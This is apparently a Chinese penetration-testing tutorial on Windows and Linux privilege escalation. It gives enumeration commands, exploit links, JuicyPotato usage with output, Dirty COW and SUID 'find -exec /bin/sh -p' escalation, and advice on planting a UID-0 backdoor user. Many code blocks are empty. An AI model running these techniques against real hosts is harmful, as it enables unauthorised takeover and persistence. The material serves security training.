操作系统提权
简介
不建议自动化提权,可能对主机造成很严重的问题
目的
对于提权的目的,由于有些情况之下我们需要做某些一些操作的时候没有权限,我们只能使用提权的方式进行权限提升,以此来完成我们的操作
概述
windwos 中常见的权限
- 用户权限( users )
- 管理员权限( administrator )
- 系统权限( system )
- 访客权限( guest )
windows 提权
user –> administrator
administrator –> system
services –> system
linux 提权
user –> root
分类
本地提权
在一个低权限用户下,通过一些条件(应用程序漏洞、系统漏洞等)提升到系统管理员权限或系统最高权限。
远程提权
攻击者通过漏洞利用程序直接获取远程服务器的权限。操作系统提权
Windows:MS06-067、MS10-084、MS11-014、MS11-05、MS12-020、MS16-032 等
Linux:CVE-2017-7308、CVE-2017-6074、CVE-2017-5123、CVE-2016-9793、CVE-2016-5195 等
应用程序提权
SQL Server、MySQL、Oracle等
条件
- 拥有Webshell/Beacon/Sessions
- 拥有普通用户权限
- 拥有某些软件的账号密码
- 本地或远程服务器上存在漏洞
- 拥有漏洞利用工具代码
windows 系统提权
提权思路
- 前期信息收集
- Meterpreter提权
- Windows系统内核漏洞
- Windows服务提权漏洞
提权信息收集
先生成一个payload ,并且创建监听
然后让受害者上线msf
手动信息收集
得到metepreter 之后
获取补丁包
1
2
3wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxx" /C:"KBxxxxxx"KB 开头的就是补丁
杀软收集
也可以使用tasklist 的方式,然后使用在线查对应的有哪些杀软
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20wmic group
组帐户管理。
wmic os
已安装操作系统的管理。
wmic process
进程管理
wmic service
服务应用程序管理。
wmic useraccount
用户帐户管理。
wmic startup
当用户登录到计算机系统时自动运行的命令的管理。
wmic nic
网络接口控制器(NIC)管理
自动信息收集
HIGS.bat
winPEAS.bat
Powerless
Windows privilege escalation (enumeration) script
- PowerUP
该工具用的很多,并且很多考试这个工具是能使用的
Powershell提权框架 - Powerup,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。
[https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)
https://evi1cg.me/archives/Powerup.html
使用说明
加载脚本,这个是在cmd中
1 |
|
查看所有的模块
1 |
|
查看模块的详细信息
1 |
|
导出结果
1 |
|
cmd 环境运行
1 |
|
内存加载
1 |
|
我们可以将这个脚本放置到服务器上面
提权
发现已知的内核信息
检查windows 系统版本是否存在任何已知的漏洞
列出所有的补丁
1
2
3wmic qfe get Caption,Description,HotFixID,InstalledOn
powershell -c "Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid}"列出更新的补丁
1
powershell -c "Get-Hotfix -description 'Security update'"
已对外公开的exp
下面是相关的一些项目
1
2
3
4https://github.com/SecWiki/windows-kernel-exploits
https://github.com/Ascotbe/Kernelhub
http://kernelhub.ascotbe.com/Home/Docs/#/
https://github.com/lyshark/Windows-exploits可以这样搜索,查找对应的漏洞
使用网站查找对应的漏洞
漏洞利用
e### CVE-2018-8120
使用方法
1 |
|
尝试了使用win10 提权,但是没有用,win7 靶机也是不行的
如果可以的话,可以使用获取到的metepreter 然后使用shell exp 然后执行payload 这样就可以获得system的权限了
CVE-2019-0803
https://github.com/k8gege/K8tools/raw/master/CVE-2019-0803.exe
使用方法
1 |
|
这个脚本可以,说明存在这个漏洞
CVE-2020-0787
https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases
先运行,然后就会弹出一个新的cmd这个是system权限的
提权脚本
它会提示有哪些漏洞,可以用来提权
JuicyPotato
使用这个工具的限制条件
需要具有SeImpersonate或者SeAssignPrimaryToken权限
开启DCOM 本地支持RPC或者远程服务器支持RPC并能成功登录
能够找到可用的COM对象
一般从Web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。 一般大多数的服务型账户IIS、MSSQL等,有这个权限,大多数用户级的账户没有这个权限,都可以执 行 whoami /priv 查看是否具有权限。
查看当前的用户权限
1
2whoami /all
whoami /priv这个就是一个普通的权限
这个是管理员权限
如果SeImpersonate权限为 enabled,juicypotato的参数可以使用-t t 如果SeAssignPrimaryToken权限为 enabled,juicypotato的参数可以使用-t u 如果均开启,可以选择 -t *
查看RPC默认端口是否为135
如果被修改(例如为111),juicypotato的参数可以使用-n 111
如果系统禁用了RPC,并不是一定无法提权,需要满足如下条件:
找到另一系统,能够以当前用户的权限进行远程RPC登录,此时juicypotato的参数可以使用-k
例如Win7、WIn8系统,默认配置下,允许135端口的入站规则即可进行远程RPC登录,添加防火墙规则允许135端口入站的命令如下:
1
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow
根据操作系统选择可用的CLSID
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
其实CLSID也就是GUID,是区分每个系统组件唯一的识别码。我们通过CLSID就可以快捷的打开系统组件,这样可以让我们的操作更加方便。
现在这个已经被剔除了
CLSID或类标识符是一串字母数字(数字和字母字符)符号,用于表示组件对象模型或基于 COM 的 程序的特定实例。它允许操作系统和软件(尤其是 Windows 操作系统和软件)检测和访问软件组件, 而无需通过其名称进行识别。尽管微软已经逐步淘汰了COM的使用,转而使用.NET基础结构,但COM 仍然是许多常用程序的重要组成部分,并且没有停止使用的计划。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62添加网络位置
shell:::{D4480A50-BA28-11d1-8E75-00C04FA31A86}
管理工具
shell:::{D20EA4E1-3957-11d2-A40B-0C5020524153}
所有控制面板项
shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}
所有设置
shell:::{5ED4F38C-D3FF-4D61-B506-6820320AEBFE}
所有任务
shell:::{ED7BA470-8E54-465E-825C-99712043E01C}
应用
shell:::{4234d49b-0245-4df3-b780-3893943456e1}
AppSuggestedLocations
shell:::{c57a6066-66a3-4d91-9eb9-41532179f0a5}
ActiveX缓存文件夹
shell:::{88C6C381-2E85-11D0-94DE-444553540000}
自动播放
shell:::{9C60DE1E-E5FC-40f4-A487-460851A8D915}
备份和还原(Windows7)
shell:::{B98A2BEA-7D42-4558-8BD1-832F41BAC6FD}
BitLocker驱动器加密
shell:::{D9EF8727-CAC2-4e60-809E-86F80A666C91}
蓝牙设备
shell:::{28803F59-3A75-4058-995F-4EE5503B023C}
Briefcase
shell:::{85BBD920-42A0-1069-A2E4-08002B30309D}
Cabinet Shell文件夹
shell:::{0CD7A5C0-9F37-11CE-AE65-08002B2E1262}
命令文件夹
shell:::{437ff9c0-a07f-4fa0-af80-84b6c6440a16}
Common Places FS Folder
shell:::{d34a6ca6-62c2-4c34-8a7c-14709c1ad938}
CompressedFolder
shell:::{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}
连接到
shell:::{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}
控制面板
shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}
控制面板
shell:::{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}
凭据管理器
shell:::{1206F5F1-0569-412C-8FEC-3204630DFB70}使用win R 执行这个
监听端口
选择一个系统未占用的端口作为监听端口
最终执行命令如下
C:/test/ >juicypotato.exe -t * -p “cmd.exe” -l 9001 -c {4991d34b-80a1-4291-83b6-3328366b9097}
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 9001
……
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM[+] CreateProcessWithTokenW OK
-t * : SeImpersonate权限和SeAssignPrimaryToken权限都开启
-p “cmd.exe” : 指定创建的进程
-l 9001 : 指定监听端口
-c {4991d34b-80a1-4291-83b6-3328366b9097} : 指定使用的CLSID如果将执行的程序变成payload 就可以直接反弹一个system 的权限
webshell 添加用户,同时也能执行命令或者是payload
使用SweetPotato.exe
该脚本不需要获取了远程桌面,可以使用webshell 执行的juicePotato
SweetPotato.exe -a whoami
linux
思路
- 前期信息收集
- Linux系统内核漏洞
- Linux服务提权漏洞
- SUDO权限滥用
- SUID提权
- GTFOBins
提权信息收集
直接运行
注意看有颜色的字
基础信息,有什么可以使用的软件
这个是可以尝试利用的编号
beRoot
操作系统命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17# 查看发行版本
cat /etc/issue
cat /etc/*-release
lsb_release -a
# 查看内核版本
uname –a
uname –mrs
# 环境变量
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set应用程序和服务信息
1 |
|
常用的漏洞exp
1
2
3
4
5
6
7
8
9
10
11http://www.exploit-db.com
https://www.securityfocus.com/bid
https://www.rapid7.com/db/
https://cxsecurity.com/exploit/
https://seclists.org/fulldisclosure/
https://exploit.kitploit.com/
https://www.cvedetails.com/index.php
https://packetstormsecurity.com/
http://cve.mitre.org/cve/search_cve_list.html
https://www.anquanke.com/vul
https://nvd.nist.gov/vuln/categoriessearchsploit
这个可以搜索相关的exp
现在尝试使用
使用grep 过滤相关的内容
1
searchsploit privilege | grep -i linux | grep -i kernel
然后选择需要的exp 使用-p 得到详细的path
然后就可以就可以通过编译或者其他方式利用
使用选项-w 就是通过联网搜索
漏洞利用
脏牛提权漏洞
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本 Linux 系统上实现本地提权
影响范围:Linux 内核2.6.22 < 3.9 (x86/x64)
核心: 改写没有写权限的文件(默认: /etc/passwd),然后改掉了id 为0 的用户,相当于替换root 用户
1 |
|
现在模拟一下利用
查看系统版本
下载好的poc 进行编译
现在测试是否创建才成功
首先使用root 用户创建一个只读文件
使用脚本
然后等待一会之后
执行完成
CVE-2019-13272
这个直接使用searchsploit
1 |
|
1 |
|
CVE-2019-7304
1 |
|
CVE-2021-3493
1 |
|
1 |
|
Linux密码Hash
/etc/passwd
所有用户都可以查看,存储着所有用户的信息,每一行代表一个用户,每一行通过冒号:分为七个部分
此文件必须使用管理员权限
可以查看到有一些是不能登录的,也就是nologin
- 用户名
- 密码,x表示密码保存在/etc/shadow
- UID,0代表root
- GID,表示所在组
- 描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other
- 用户主目录
- 默认shell类型
我们可以查看到root 用户的uid 和 gid
我们就可以尝试创建一个uid gid和root 一样的一个用户,这样这个用户就拥有了对应的权限,也可以称为 后门用户
而可以通过密码处不为x 的,尝试解密就可以得到对应的账号和权限了
/etc/shadow
只有root用户能够查看,保存加密后的密码和用户相关密码信息,每个用户一行,每一行通过冒号:分为九个部分:
用户名
加密后的密码
上次修改密码的时间(从1970.1.1开始的总天数)
两次修改密码间隔的最少天数,如果为0,则没有限制
两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制提
前多少天警告用户密码将过期
在密码过期之后多少天禁用此用户
用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用
保留
滥用的SUDO权限
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。
sudo配置文件:/etc/sudoers 配置文件权限:0440
如果获取了普通用户并且配置了sudo 我们就可以直接使用sudo 打开一个bash 那么这个就是root 权限的账号了
sudo -l:显示出自己(执行sudo的使用者)的权限
sudo –s:执行环境变数中的shell所指定的shell,或是/etc/passwd 里所指定的shell
sudo 提权
这个网站收集了所有的指令
1 |
|
suid 权限提权
文件s 权限
也称为suid 权限,就是在文件的可执行权限处为s
对应为4755
所有的权限的用户执行带s 的文件都是使用属主的权限执行
进行提权
查找具有suid 权限的程序
1
find / -perm -u=s -type f 2>/dev/null
使用find 举例子
1
./find . -exec /bin/sh -p \; -quit
本质就是find 存在s(suid) 权限,然后也是属于root 的文件,那么我们使用find 的进程就是root 权限的。权限基于进程,使用root 的进程的子进程(使用bash或者sh)也是会继承该权限
提权工具
- traitor
https://github.com/liamg/traitor
- gtfo